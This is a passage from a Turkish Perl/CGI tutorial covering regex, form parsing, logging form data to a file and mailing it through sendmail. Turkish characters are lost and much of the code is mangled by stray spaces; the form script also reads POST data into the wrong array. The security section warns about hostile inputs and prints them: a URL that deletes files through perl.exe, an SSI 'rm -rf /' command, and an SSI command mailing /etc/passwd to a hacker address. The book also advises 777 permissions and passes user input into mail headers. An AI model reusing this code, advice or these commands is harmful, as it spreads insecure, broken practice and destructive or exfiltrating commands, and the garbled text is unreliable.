i f ( $ar anan_met i n =~ m/ H. +I ) . .
Bu deyimle, HAKKI ve HALI bulunur, fakat HI bulunamaz.
Aradmz bulduk, diyelim. Elde ettiimiz sonu aranan bulunursa doru (True),
bulunamazsa yanl (False) deerinden baka bir ey deil. Peki, iinde aradmz deer
bulunan Stringi veya sayy renemez miyiz? reniriz. Perl bulduklarn srayla $1, $2, $2
adl deikenlere yazar. rnek:
$Met i n1 = HAKKI ;
i f ( $Met i n1 =~ m/ ( H. ) K( . I ) / )
{pr i nt Bul undu\ n } else {print Bulunmad\ n }
CGI / Perl 98
pr i nt $1\ n$2\ n;
Preln arad metnin byk-harf veya kk-harf olmasna aldr etmemesini
istiyorsak, m// ileminden sonra i (ignore) harfini koyarz. Arattmz arama yaplan
metinde btn getii yerlerde bulmasn istiyorsak, yani arama yaplan metnin tmnn
aranmasn arzu ediyorsak, m// operatrnden sonra g (global) harfini koyarz.
Peki, aradmzn sadece bulunup bulunmadn ve ne bulunduunu renmek
istemiyoruz; fakat aradmz eyi deitirmenizi istiyorsak! Bunu s/// ilemine (substitute,
yerine koy) ile yaparz. alma ilkesi tamamen m// ilemkine benzeyen s///, ikinci ve
nc bl iaretleri arasna koyacamz eyleri, bulduklarnn yerine koyar.
Szgelimi elimizdeki metinde geen btn + iaretlerini boluk (aralk) ile
deitirmek istiyoruz:
$Bosl ukl u_degi sken = ( $Ar t i l i _degi sken =~s/ \ +/ / ) ;
s/// ileminin de ileyiini deitiren bir ok eki vardr. Bundan e (evaluate,
deerlendir), eer bulunan unsurun yerine konulan unsur bir hesap veya bir deiken
ieriyorsa, bu deerlendirmenin yaplmasn salar.
$yeni _degi sken =~ s/ \ d+/ $1 + 1/ e;
Perl, bu deyimle, bulduu unsur diyelim ki 135 ise, annda 136 yapar.
Her ne kadar kullanl olsa da, s/// ilemi sadece bir unsuru bir baka unsura
evirdii iin, bazen yetersiz kalabilir. Bize btn deikende, sz gelimi btn byk
harfleri kk harf yapacak, bir ilemci gerekebilir. Bu ilemci, tr/// operatrdr. Ve ite
arzu ettiimiz byk harf-kk harf deilikliini yapma deyimi:
$yeni _degi sken =~ t r / A- Z/ a- z/ ;
Bu ilemin ileyi tarzn ve sonularn, ekilde deitirebiliriz:
c: seilmeyenleri deitir:
$yeni _degi sken =~ t r / 0- 9/ / c;
Bu deyim, rakam olmayan hereyin yerine boluk koyar.
d: deitirme, sil:
$yeni _degi sken =~ t r / 0- 9/ / cd;
Bu deyim, rakam olmayan hereyi siler.
s: tekrar edenleri teke dr:
CGI / Perl 99
$yeni _degi sken =~ t r / , / , / s;
Bu deyim, yanyana birden fazla virgl tek virgl haline getirir.
Formdan gelen bilgilerde arama-bulma-deitirme
Perlde arama-bulma-deitirme ilemlerini gzden geirmeyi de tamamladktan
sonra, bir Formdan gelen veriyi istediimiz biimde kullanlr hale getirmek iin hereyi
renmi olduk. imdi forn_analiz.pli an ve form_islem.pl adyla kaydedin; ve programn
ba tarafndaki u deyimlere bakn:
................
@girdiler = split(/&/, $ENV{'QUERY_STRING'});
................
@girdi = split(/&/, $depo);
................
($anahtar, $deger) = split (/=/, $girdi);
$anahtar =~ tr/+/ /;
$deger =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
$deger =~ tr/+/ /;
$deger =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
$deger =~s/<!--(.|\n)*-->//g;
................

Bu program yazdmzda iinde anlamadmz eyler bulunduunu belirtmitik;
imdi anlalmayan bir taraf kalmam olsa gerek. Browsern yumak yapp yollad Form
bilgilerini iine yazdmz $depo adl deikenin deerini & iaretinden blmlere
ayrdmz, ortaya kan btn paralar, @girdi dizisinin elemanlar haline getirdiimi ve
sonra bu dizinin her bir satrn bu kez eittir iaretinden blp, ortaya kan Stringleri bu
kez %formveri adl Balantl Dizi (Hash) deikenin anahtar/veri iftleri olarak kaydettiimi
gryorsunuz.
imdi bu ilemin arasnda, hem anahtar ad olacak Stringde, hem de deer olacak
Stringde nce + iaretlerini bolukla deitirdiimizi; sonra biraz karka bir deyimle, s///
ilemi yaptrdmz gryorsunuz:
CGI / Perl 100
=~ s/ %( [ a- f A- F0- 9] [ a- f A- F0- 9] ) / pack( " C" , hex( $1) ) / eg;
Aslnda bu s/// ileminin arama blmn biliyoruz: deeri a-f veya A-F ve 0-9
arasnda olan iki basamakl ve % ile balayan hereyi bul. Fakat bulunan eyin yerine
konacak deer yabanc. Perln paket denilen haric aralar dosyalar (externel utilities files)
vardr. Bu paketler (modller) Perl ile birlikte kurulur ve Perl programlarnz altran Perl
Program tarafndan tannr. Burada gnderme yaptmz C paketi 16 tabanl say
sistemiyle yazlm kodlarn ASCII, ANSI ve Unicode karlklarn verir.
Yukardaki rnekte yer alan son s/// ilemi Web Form verisi yoluyla sitenize zararl
program kodu yollamak isteyebileceklere kar alnm bir nlemdir. Ktniyetli kii HTTP
Servera zararl programlar <!--- ve - iaretleri arasnda yollamak zorundadr. Bu
ilemle bu tr girdileri tmyle yok ediyoruz.
Bu rnekte grdnz tr/// ve s/// ilemlerini ieren deyimler, neredeyse btn
dnyada standart olarak kullanlr. Form ileme programnda da bu blm aynen
brakacaz.
Yapacamz ilk deiiklik, ekrana gnderdiimiz deiiklikleri bu kez bir dosyaya
gndermek olaca iin Perl programna gemeden nce bu dosya ile ilgili hazrlklar
yapalm. Bu dosyada, ziyaretilerimizden gelen btn Form bilgileri belirli bir biimde
yazlmas gerekir, ki sonra bu dosyay Web Sitemize evsahiplii yapan bilgiyardan kendi
bilgisayarmza ekerek, inceleyebilelim, ziyaretilerimiz hakknda fikir edinelim. Bu
dosyadaki bilgilerin, Formdaki Input alanlarn stun olarak dnerek kaydedilmesi uygun
olur. Bunun iin nce iine Form bilgilerinin eklenecei dzyaz dosyasn oluturabiliriz,
birinci satr olarak stun balklarn yazabiliriz. rnein yle:
Ad Adr es Kod Mer ak e- post a mesaj eitim
Burada stun balklarndan sonraki ok iaretleri kelimelerin arasna sekme (Tab)
koyduumuzu gsteriyor. Form bilgilerimizi de deiken deerlerinin arasna sekme
koyarak yazacaz. imdi bu dosyay form_bilgileri.txt adyla kaydedin. sterseniz bu
dosyay daha sonra dzyaz programyla deil bir veritaban program ile aabilirsiniz;
sekme ile ayrlan metinler stun haline dntrlr. (Bu altrmay birlikte yapyorsak,
eitim kelimesinden sonra Enter tuuna basarak yeni satr (newline) kodu girmeyi
unutmayn!)
Eer hala yapmadysanz, imdi form_analiz.pl dosyasn dz yaz programnzda
an ve form_islem.pl adyla kaydedin. Bu programn yapt iki i var: (1) Formdan gelen
bilgileri %formveri deikenine, Input alan adlar anahtar, ziyaretinin bu alana yazdklar
CGI / Perl 101
deer olarak ekilde yerletirmek; sonra bir dizi print() fonksiyonu ile bunlar ekranda
grntlemek. Yukarda grmtk ki, ekrana yazdrmak ile dosyaya yazdrmak
arasnda sadece bir dosya tutama fark vard. Hatrlarsak, dosya tutama (handle)
dediimiz ey, dosyay atmz srada verdiimiz keyf bir kelimeden ibaretti.
Demek ki nce Perle, biraz nce oluturduumuz ve Web sitemizde form_isleme.pl
programnn bulunduu dizine gnderdiimiz dosyay ek yaplmak zere aalm. (imdilik
bu dosyay kiisel Web Serverda Perl program dosyalarnzn durduu dizine kopyalamakla
yetineceiz; fakat gerek CGI ynetimi ile ilgili bilgileri ve bu dosyay FTP ile HTTP
Serverna gndermeyi bundan sonraki blmde ele alacaz.)
open ( EKLE, >>f or m_bi l gi l er i . t xt ) ;
Bu deyimle, biraz nce oluturduumuz ve tek satrlk stun balklarmz
eklediimiz metin dosyasn ek yapmak amacyla ayoruz; ve bu dosyaya EKLE tutaman
(Handle) veriyoruz.
imdi artk, Formdan gelen bilgileri (%formveri deikenindeki deerleri) bu
dosyaya kaydedebiliriz. Fakat bu noktada dikkatinizi bir duruma ekmek istiyorum. Elimizi
altrmak amacyla yazdmz iin bu form_analiz.pl programnda ziyaretiden gelen
verileri ieriklerine ok dikkat etmeden, tmyle iledik ve ve hereyi ekrana gnderdik.
Bu arada Form etiketinin otomatik olarak gnderdii Gonder dmesinin (aslnda
dmenin zerine yazlan metinden baka bir ey olmayan) deeri de %formveri
deikeninde Gonder anahtarna Gnder deeriylle kaydedildi. Acaba, hi bir iimize
yaramayacak bu bilgi dosyaya kaydettirmemek mmkn mdr? Tabi. u anda ekrana
yazma iini yapan print() fonksiyonunun nasl ilediini hatrlayalm:
f or each $anaht ar ( sor t keys( %f or mver i ) ) {
print "<P><B>$anahtar</B> alanna <B>$formveri{$anahtar} </B>deeri
gi r i l di . " ;
}
%formveri deikeninin her bir anahtar iin, ekrana anahtar ad ile alanna
kelimesini, anahtarn deerini ve deeri girildi kelimelerini yazdryoruz. Yazdrdmz
anahtarn Gonder deerine eit olmas halinde bu yazma ilemini yaptrmayabiliriz. Veya,
tersini:
f or each $anaht ar ( sor t keys( %f or mver i ) ) {
i f ( $anaht ar ne Gonder ) {
CGI / Perl 102
print "<P><B>$anahtar</B> alanna <B>$formveri{$anahtar} </B>deeri
gi r i l di . " ;
}
}
Perl, print() fonksiyonunu ancak ve sadece elindeki anahtarn Gonder olmamas
(ne, Stringler iin eit deilse anlamna gelir) halinde icra edecektir. (Ayn amac baka
yntemlerle de salayabiliriz. Gnder dmesinin oluturduu deeri %formveri
deikenine yazdrmamay baarabilir misiniz?)
Peki, Gnder dmesinin deerini yazdrmamay baardk; fakat oluturmak
istediimiz form bilgileri dosyasnda anahtar adlarna ihtiyacmz var m? Anahtarlar stun
bal olarak dosyaya yazdk; imdi artk ziyaretilerin verdii bilgileri ilerken anahtarlar
dei sadece deerleri, aralarna sekme (Tab) iareti koyarak yazdrabiliriz. Bunu mevcut
kodda uygulayalm:
f or each $anaht ar ( sor t keys( %f or mver i ) ) {
i f ( $anaht ar ne Gonder ) {
pr i nt EKLE " $f or mver i {$anaht ar }\ t " ;
}
}
pr i nt EKLE " \ n" ;
Burada EKLE tutama ile tannan ak dosyaya (form_bilgileri.txt) sadece
%formveri ilikili deikeninde srasyla btn anahtarlarn deerlerini, bir sekme (Tab)
iaretiyle yazdryoruz. Bir ziyaretinin form bilgilerinin ilenmesi bittiinde, yani bu
ziyaretiye ait son veri de yazdrldktan sonra, satrn sonuna yenisatr (newline) iaretini
yazdryoruz, ku bylece bir bayka ziyareti iin bu dosyaya ek yaplrken, yeni bilgiler yeni
bir satrdan balayabilsin.
Bylece ziyaretiden aldmz bilgileri ilediimiz dosya ile iimiz tamamlanm
oluyor; atmz dosyay kapatabiliriz:
cl ose ( EKLE) ;
Bu arada, ziyaretimize bir teekkr mesaj vermeyi unutmalaym. Bunu,
ziyaretinin bilgisayarna HTML kodlaryla mesajmz yazdrarak yapabiliriz.
Teekkr blmyle birlikte form_isleme.pl u ekli alm oluyor:
CGI / Perl 103
#!/usr/local/bin/perl
#form_islem.pl

if ($ENV{'REQUEST_METHOD'} eq 'GET') {
@girdiler = split(/&/, $ENV{'QUERY_STRING'});
} elsif ($ENV{'REQUEST_METHOD'} eq 'POST') {
read (STDIN, $depo, $ENV{'CONTENT_LENGTH'});
@girdi = split(/&/, $depo);
} else {
print "Content-type: text/html\n\n";
print "<P>Formda bir hata var!";
}
foreach $girdi (@girdiler) {
($anahtar, $deger) = split (/=/, $girdi);
$anahtar =~ tr/+/ /;
$deger =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
$deger =~ tr/+/ /;
$deger =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
$deger =~s/<!--(.|\n)*-->//g;
if ($formveri{$anahtar}) {
$formveri{$anahtar} .= ", $deger";
} else {
$formveri{$anahtar} = $deger;
}
}
#dosya ekleme blm
open (EKLE, >>form_bilgileri.txt);
foreach $anahtar (sort keys(%formveri)) {
CGI / Perl 104
if ($anahtar ne Gonder) {
print EKLE "$formveri{$anahtar}\t";
}
}
print EKLE "\n";
close(EKLE);
#teekkr blm
print "Content-type: text/html\n\n";
print "<meta http-equiv=\"content-type\" content=\"text/html; charset=ISO-
8859-9\">\n";
print "<meta http-equiv=\"Content-Type\" content=\"text/html;
charset=windows-1254\">\n";
print "<H3><CENTER>Teekkrler</CENTER></H3>\n";
print "<P>Sayn $formveri{Adi}\n";
print "<BR>$formveri{Adres} $formveri{Kod}\n";
print "<P>Sitemizi ziyaret ettiiniz ve formumuzu doldurduunuz iin size
teekkr ederiz!\n";
print "<BR>Size $formveri{Merak} alannda daha iyi hizmet etmek iin aba
gstereceiz.\n";
print "<BR>Adnz ve<B> $formveri{eposta} </B>eklindeki elektronik
adresinizi tanesi 250 bine kimseye satmayacamza sz veriyoruz.\n";
print "<P>Ana sayfamza geri dnmek iin buray <A
HREF=\"index.htm\">tklaynz</A>.\n";

te bu kadar! Ziyaretinizden sitenizdeki bir Forma yazd ve size gnderdii
bilgileri bir dosyaya eklettirmeyi baarm bulunuyorsunuz. Bu dosyadaki bilgilerle
ziyaretilerinizi daha yakndan tanmak, sitenizi braklan mesajlar dorultusunda
zenginletirmek, ve sitende yaptnz gncelletirmeleri derlediiniz elektronik posta
adreslerine dzenli ekilde bildirmek size kalm bulunuyor.
Fakat bir durum var: Ziyareti zene-bezene formu doldurdu; Perl byk bir
beceriyle, bu bilgileri dosyaya ekledi. Bizim Site sahibi olarak bu durumdan haberimiz
CGI / Perl 105
olmas gerekmiyor mu? Veya baka bir deyile Perl programmzn bu durumu bir elektronik
mesajla bize bildiresini istiyoruz.
Bunun iin btn yapacamz i, form_islem.pl programnda teekkr blmnden
nce, bir e-posta yollama blm koymaktan ibaret. HTTP Server, CGIdan ald talep
zerine, kendi bulunduu bilgisayardaki programlar altrabilir. Bu programlar arasnda
elektronik mesaj gnderme program olan sendmail vardr. Web Server programlarnn
elektronik mesaj gnderme programlar farkl olabilir; sizin site ynetmeni olarak
kullanabileceiniz elektronik posta gnderme programnn adn ve adresini, Web Server
ynetimi verebilir. cretsiz Web sitesi hizmeti veren irketler genellikle CGI program
altrmaya ve elektronik mesaj gndermeye izin vermezler. Eer Web sitenize evsahiplii
yapan firma CGI ve elektronik posta gnderme destei veriyorsa muhtemelen bunun iin
gerekli FORM/ACTION bilgisini de size verecektir. Bu tr bilgiler genellikle evsahibi firmann
ska sorulan sorular belgelerinde de bulunabilir. Unix tabanl Serverlarda hemen hemen
daima elektronik mektup gnderme ilemi sendmail program ile yaplr ve bu program
/usr/sbin/ veya /usr/lib/ dizininde bulunur.
CGI programmzla HTTP Servera bir program altrmas iin komut gndermekle,
bir dosyay yazmak-okumak-eklemek iin atrtmak arasnda fark yoktur; bu ilemi de
open() fonksiyonu ile yaparz. rnein:
open( MEKTUP, " | / usr / sbi n/ sendmai l - t $ki me" ) | | di e ( " sendmail programn
bulamyorum");
Burada dikkat edeceiniz nokta, open() fonksiyonunu dosya atrmada
kullandmzdan farkl olarak programn yolu ve adndan nce pipe (|) simgesini kullanm
olmamzdr. Bu Unix sistemlerinde HTTP Servern baka bir program ardmz
anlamasn salar. Yukardaki rnek kodda, #teekkr blm satrnn stne u kodlar
girin: ($kime deikeninin karsna isim yerine e-posta adnz ve adres.com yerine de
elektronik posta adresinizi yazmanz gerekir. rnek olarak, bu kodu ben yazyor olsa idim,
bu satr yle yazmam gerekirdi: $kime = "hocal\@pcworld.com.tr ";)
# e-posta yollama blm
$kime = "isim\@adres.com";
open(MEKTUP, "|/usr/sbin/sendmail -t $kime") || die ("sendmail programn
bulamyorum");
print MEKTUP "Kimden: $formveri{'eposta'}\n";
CGI / Perl 106
print MEKTUP "Kime: $kime\n";
print MEKTUP "Konu: Ziyareti Formu\n\n";
print MEKTUP "Ad: $formveri{'adi'}\n";
print MEKTUP "E-Posta: $formveri{'eposta'}\n";
print MEKTUP "lgi alan: $formveri{'Merak'}\n";
print MEKTUP "Eitim Dzeyi: $formveri{'egitim'}\n";
print MEKTUP "Mesaj: $formveri{'mesaj'}\n";
close(MEKTUP);

Bu ekibi yaptktan sonra CGI programnz nce size bir ziyaretinin daha sitenizdeki
Formu doldurduunu bildirecek, daha sonra ziyaretiye teekkr edecektir.
Burada yerimiz olmad iin ayarntl olarak inceleyemediimiz bir dier konuk
defteri-mesaj gnderme Formu rneini bu kitapn malzemesini ieren Zip dos
eposta.htm ve eposta.pl adyla bulabilirsiniz. zellikle bir Formun doru ve eksiksiz
doldurulup doldurulmadn denetleyen blmleri bakmndan bu Perl program rnek
olabilir.
Bylece, CGI amacyla iimize yarayacak lde Perle balang yapm olduk. Bu
bizi Perl uzman yapmyor. Ama artk hi olmazsa, HTML Formlarmz iin gerekli CGI
programn yazabiliriz. CGI konusunda buraya kadar deinmediimiz fakat bir Web
tasarmcsnn bilmesi gereken noktalar son blmde bulabilirsiniz.
CGI / Perl 107
CGIda Yaam
CGI program ve Perl renme zorunluu bir oumuz iin Web sitemizdeki
Formlara ziyaretilerimizin yazdklar metinleri almak, saklamak ve kullanmak amacndan
kaynaklanyor. Bu kitapn banda yaptmz gibi kendi bilgisayarmza kiisel Web
Server kurmak ve Perl bu Serverda iler hale getirmek, belki Perl programlarmz
snamak asndan gerekli; fakat gerek bir Web Serverda CGI program altrmaktan ok
kolay bir ilemdir.
Gerek Internette HTTP Server olarak alan bilgisayarlarda gvenlik byk bir
ncelik tar. CGI programlarmz gerek bir Web Serverda altrabilmek iin sadece CGI
ve Perl bilgisine deil, fakat gerek hayatta geerli CGI uygulamalarndaki ilkeleri, kurallar
ve hatta gelenekleri renmek zorundayz. CGI yoluyla sitemize evsahiplii yapan Web
Servern bir ok dosya ilemi ve elektronik mesaj gnderme hizmeti yapmasn
salayabiliriz. Bunun iin Serverlar ve Web sitemize ev sahiplii yapan bilgisayarn iletim
sistemini biraz daha yakndan tanmak zorundayz.
CGI, Web Servera Bamldr
Piyasada 20ye yakn Web Server program var; bunlarn hemen hepsi, kendilerine
evsahiplii yapan iletim sistemi ile Internet ziyaretisi arasnda arabuluculuk yapan bir tr
CGI (Common Gateway Interface/Ortak Geit Arayz) vardr. Web Server, site tasarmcs
olarak sizin vereceiniz snrlar erevesinde Internet ziyaretisinin altrmak istedii
program altrr ve gerekiyorsa bunun iin iletim sisteminden yardm isteyebilir.
CGIda altrabileceiniz tek program Perl program deildir. Yeni Web Server
programlar, iletim sisteminin salad API (Application Programming Interface/Uygulama
Programlama Arayz) imkann kullanarak gelitirilebilecek EXE ve DLL tr programlar
da altrabilir. zellikle Windows 95/98/NT/2000 tabanl WindowsCGI, standart CGIn
saladndan fazla imkanlar salayabilir. Bununla birlikte, Perl ile herhangi bir CGI iin
program yazabilirsiniz.
CGI program yazmak iin Perl dnda, C, C++, Tcl veya Tk, PHP, Unix Shellerinden
sh, ksh ve csh ile Visual Basic, ASP ve AppleScript dillerini veya tekniklerini kullanabilirsiniz.
Web sitenize evsahiplii yapan firmann (Hosting irketi) Web Servernn ne tr CGI
programlarna izin verdiini renmek ve yazacanz Perl programlarnn bu kurallara
CGI / Perl 108
uymasn salamak, site tasarmcs ve ynetmeni olarak size den bir grevdir. cretsiz
Web sitesi alan salayan firmalar kimi zaman sadece kendi onaylarndan gemi Perl
programlarna izin verirler. CGI programnzn neler yapabileceini, neler yapamayacan,
bu kurumun salad yardm dosyalarnda bulabilirsiniz. Web sitenize evsahiplii yapacak
firma seerken, ilanlarnda snrsz CGI destei verdiklerini belirtmelerine dikkat
etmelisiniz.
Tekerlei yeniden icad etmeyin! Web Server iletmecileri ou zaman site hizmeti
verdikleri mterilerine kullanlmaya hazr CGI programlar sunarlar. Bu programlar hemen
hemen daima, iletmecinin sahip olduu Web Server programnn inceliklerine gre
gelitirilmitir.
Ayrca Comprehensive Perl Archive Network (CPAN) isimli Perl Arivinde hemen
hemen her konuda iinize yarayacak Perl program bulabilirsiniz. Bu amala urayacanz
ilk Internet adresi Perl Enstits (www.perl.org) olmaldr. Perl Home Page (www.perl.com)
ve Windows iin Perl yorumlaycs gelitiren ActiveState (www.ActiveState.com), bu arive
ulamak iin kestirme yollar arasndadr.
UNIX Dosya izinleri
Web Server program Unix ortamnda lyorsa, her dosya ya bir kiiye, ya da bir
gruba aittir. Her dosyann set izin durumu vardr: sahibi, grup ve bu ikisine girmeyen
ider herkes iin bir dosya (a) okunabilir; (b) yazlabilir, ve (c) altrlabilir olur, veya
olmaz.
Bir Unix sisteminde sistem yneticisi veya root olarak oturum am kii, dosyalarn
sahiplik durumunu chown komutu ile deitirebilir. Bir dosyann sahibi olan kii veya
grubun yeleri ise dosyann izin haklarn dzenleyebilir. Unix, bir dosyann okunabilmesi,
yazlabilmesi veya bir dizinde yeni bir dosya veya alt-dizin oluturulabilmesi iin, dosyann
ve dizinin okuma, yazma ve altrma izinlerinin bulunup bulunmadna bakar.
Bu ilkeler, Unix ortamnda alan bir Web Serverda, Web alanndaki dosyalara
uygulandnda, Perl program dosyalarnn altrlabilme izni olmas gerektii anlalr.
Ayrca, Perl programlarnn okumak ve yazmak iin erimek zorunda olduu dier btn
dosyalarn da okunabilirlik ve yazlabilirlik izni olmas arttr. Web Sitesine ev sahiplii
yapan firma, sizi, size ayrd ve Web Serverna Web Sitesi olarak tantt dizinin sahibi
yapmtr. Siz bu yetkinize dayanarak, Web sitenizdeki dosyalarn izinlerini deitirebilir;
dzenleyebilirsiniz.
CGI / Perl 109
Unixte dosya izinleri ya komut istemci satrndan chmod komutu ile, ya da 8 tabanl
say sistemi (octal) ile saysal olarak verilebilir. Saylan deer olarak verilen izin sistemi
yle dzenlenebilir:
Okuma izni 4, yazma izni 2, altrma izni ise 1 olarak gsterilir. Kullanc kiinin
izinleri 100, grubun izinleri 10 ve dierleri 1 olarak simgelenir. Bir dosyann izin deeri,
btn izin deerlerinin toplam olarak ifade edilir. zin deeri ise sahip katsays X izin tr
katsays olarak bulunur. rnin bir dosyasnn sahibinin okuma izni olmas 100 x 4=400
olarak hesaplanr; bir dosyann sahibinin yazma izni 200, altrma izni ise 100dr. Yani
dosyann sahibi dosyay hem okutabilir,hem yazdrabilir,hem de altrabilirse, dosyann
izin deeri 700 olur. Grubun okutma izni 40 yazdrma izni 20, altrma izni 10 olarak
hesaplanabilir; toplam 70 olu. Bir dosyay hem sahibi hem de grup, okutabilir, yazrrabilir
ve altrabilirse, dosyann izin deeri 770e ular. Dier herkes (veya Unixteki deyimiyle
tm dnya) tarafndan okunabilen, yazlabilir ve altlabilen dosyann izin deeri 777 olur.
Server Gvenlii
Web Server program, bir bilgisayarn ve onun bal olduu an d dnyaya alan
kaps ise CGI, d dnyann Web Servera giri kapsdr. CGI gvenlii, btn Web
Servern gvenliidir. Eer kendi Web Servernz altryorsanz, program reticisinin
nerdii gvenlik nlemlerini almanz gerekir. Web Server program bakas tarafndan
altrlyorsa, muhtemelen sizin Perl programlarnzla Servera zarar vermenizin nne
geilmi demektir. Ancak sizin sitenizin (veya teknik ifadesiyle, Serverda size ayrlm olan
alann gvenlii yine sizden sorulur.
Perl programlar, btn Script dilleri gibi kaynak kodunu kendi iinde barndrr; yani
Perl dosyanzn tam metin olarak ktniyetli bir kiinin eline gemesi, programn ve
dolaysyla sitenin zaaflarn ortaya kartr. Bir rnek verelim.
Ziyaretilerinizin size gvenerek doldurduu formlarda elektronik posta adresi gibi,
herkesin eline gemesini istemeyecekleri bilgiler bulunabilir; siz bu bilgileri, (bizim
yukardaki rneklerde yer alan form_bilgileri.txt dosyas gibi) bir dosyada topluyor
olabilirsiniz. Ben bu dosyann adn ve durduu yeri bilirsem, ve bunu Browsermn URL
adres hanesine yazarsam, sizin Servernz tereddt bile etmeden bu dosyay bana
gnderecektir. Benim bu dosyann adn bilmem ancak sizin Perl dosyasn tam metin olarak
elime geirmemle mmkn olabilir. Perl dosyanzn ad, Form ieren HTML sayfanzda,
FORM etiketinin ACTION hanesinde kaytl! Bu ismi Browsermn URL hanesine yazarsam,
Web Server hata mesaj verir; nk Perl program kendisine bilgi gnderilmeden
CGI / Perl 110
altrlm olaca iin hata oluacaktr. Fakat bir ok kii, CGI programlarn yeniledike,
gncelletirdike veya dzelttike, eskisini .bak uzatmasyla Serverda tutmay tercih
eder. Baz programlama editrleri de dosyalarn adna ~ iaretini ekleyerek yedeini
kartrlar. Baz programclar, Perl metinlerinin bir de .txt srmn saklamay tercih
ederler. Eer sizin Perl programn edinmeyi kafasna koymu bir kii nce bu tr
uzatmalardan ie balayacaktr.
Bir dier byk gvenlik ihlali dnyaya perl programnz altran Perl
yorumlaycsnn (rnein perl.exenin) yerini ilan etmektir. Perl programlarnn ba
tarafnda bunu belirten ifadeler olmas, Web iin asla zorunlu deildir. Herhangi bir formdan
GET yoluyla Perl.exeye Perl komutu gnderiyorsanz (rnein: sizin bir Formunuzun
istedii bilgi giderken kullancnn Browsermn adres hanesinde http://host.com/cgi-
bin/perl.exe?form.pl gibi bir gnderi belirtisi grlyorsa) bu ktniyetli kiilere
Browserlarnn adres hanesine u satr yazma davetiyesidir:
http://host.com/cgi-bin/perl.exe?-e+unlink+%3C*.*%3E%3B
Bu, bir PCde C:\>del c:\*.* komutunu vermek ve ondan sonra Y tuuna
basmakla ayn sonucu verir!
Perl yorumlaycsnn yerini Internet ziyaretisini anlamasna imkan vermemek
gerekir.
Bir dier nemli gvenlik ihlali arac Server Side Include denen ve <!-- ile -->
arasnda Servera belirli komutlar icra etme, belirli programlar altrma imkan veren
dzenlemedir. Giderek daha sayda Server yneticisi bu imkan kaldryor. Server bu tr
Server Side Incvlude (SSI) komutlarn kabul ediyorsa, u komutan rrein bir Formun
kullanc ad veya adresi olarak gelmesi iten bile deildir:
<! - - #exec cmd=/ bi n/ r mr f / - - >
Bu komut da Unix ortamnda, DOSta C:\>del c:\*.* komutunu vermek ve ondan
sonra Y tuuna basmak demektir. Veya SSI taklidi yapan yle bir komut:
<! - - #exec cmd=/ bi n/ mai l hacker @cr acker . com< / et c/ passwd - - >
Bu komutla bilgisayarnzdaki btn parolalar, Hackera elektronik mesaj olarak
gnderilecektir. Bu kitaptaki rneklerimizde bir Formdan aldmz bilgileri $deger
=~s/<!--(.|\n)*-->//g; deyimi ile bu tr komutlardan temizlediimizi grm olmalsnz.
Fakat bu kitapk Web Server gvenliinin nasl salanacana deinebilmek iin ok kk;
ve ou zaman Web Server gvenliini salamak CGI programcsnn deil, Server
ynetmeninin grevidir. CGI programcs olarak bize den, en azndan Form bilgilerini
CGI / Perl 111
ilemeye balarken, bir alanda olmas gerekmeyen karakterler varsa, onlar temizlemektir.
rnein bir Formun isim ve elektronik adres hanelerindeters bl iaretinin bulunmas
gerekmez! Bu alanlarda bu tr iaretler varsa, temizlenmesi yerinde olur.
Serverda program altrmak
HTTP Serverda altracamz baalca programn elektronik mesaj gnderme
program olduuna yukarda deindik. Bunun dnda en sk kullanmak isteyebileceiniz
komutlardan biri rnein DOSun c:\> dir veya Unixin ls komutuna benzeyen
readdir() fonksiyonudur. Perl, bu fonksiyonu iinde bulunduu CGI ortamna ve iletim
sistemine uygun tarzda altrr. Bu kodun kullanmna bir rnek verebiliriz:
pr i nt " Cont ent - t ype: t ext / ht ml \ n\ n" ;
pr i nt " <met a ht t p- equi v=\ " cont ent - t ype\ " cont ent =\ " t ext / ht ml ; char set =I SO-
8859- 9\ " >\ n" ;
pr i nt " <met a ht t p- equi v=\ " Cont ent - Type\ " cont ent =\ " t ext / ht ml ;
char set =wi ndows- 1254\ " >\ n" ;
pr i nt " <H3><CENTER>Di zi ndeki dosyal ar </ CENTER></ H3>\ n" ;

opendi r ( DI ZI N, " . " ) ;
whi l e( $dosya_adi = r eaddi r ( DI ZI N) ) {
i f ( $dosya_adi =~ / ^\ w*. ht m/ ) {
push( @dosyal ar , $dosya_adi ) ;
pr i nt " <A HREF=\ " $dosya_adi \ " > $dosya_adi </ A>\ n" ;
pr i nt " <BR>\ n" ;

}
}
cl osedi r ( DI ZI N) ;
Burada opendir() fonksiyonunun programn bulunduu dizinde yani ksaltmas nokta
(.) iareti olan dizini ierii okunmak zere ve DIZIN tutama (Handle) ile atna dikkat
edin. Buradaki tutamak da tpk okunmak-yazlmak zere alan bir dosya tutama gibi
tamamen keyf bir kelimedir. Program daha sonra dizindeki dosya adlarn okuyarak
CGI / Perl 112
uzatmas .htm olanlar @dosyalar dizisinde topluyor ve bu listeyi ziyaretinin ekrannda
grntlyor. (Bu program rnein dir.pl adyla da kaydedebilir ve dizinlerin iindeki
dosyalar ziyeretilerinize listelemeniz gerektii yerde bir kpr ile kullanabilirsiniz.)
Server ile FTP likisi
zene bezene yazdnz ve kendi kiisel Web Servernzda baaryla snadnz bir
CGI programnn Web sitesinde almamas kadar zc bir ey olamaz. Bunun bir ok
sebebi olabilir; fakat bu sebeplerin banda Web Server iletmecisinin CGI programlarna
izin vermemesi gelir. Dier sebepleri aratrmaya balamadan nce Web sitenize evsahiplii
yapan firmann CGI programlarna izin verdiinden imen olmalsnz.
CGI programlarna izin veren bir sitede Perl programlarnn ilememesinin birinci
sebebi dosya ve dizin izinlerinin doru ayarlanmam olmasdr. Sitenize evsahiplii yapan
firmann Web Server Unix-tabanl ise ve bir FTP programnn yardm ile dizin ve
dosyalarnzn izinlerini dosyalar okumanza, yazmasna ve altrmanza imkan verecek
ekilde deitirebilirsiniz. Internet ziyaretileriniz Unix asndan dosya sahibi kii ve
grubunda dnda kalan herkes saylr; dolaysyla Perl programlarnzn tm dnya iin
okuma-yazma-altrma izni bulunmas, yani Octal say olarak dosya izin deerinin 777
olmas gerekir.
Perl programlarnzn ilememesinin bir dier sebebi, bilgisayarnzdan Servera FTP
program ile gnderilirken ASCII dosyas transfer yntemi yerine binary dosya transfer
yntemi kullanlmas olmasdr.
Piyasada yaygn kullanlan CuteFTP ve WS_FTP programlar genellikle transfer
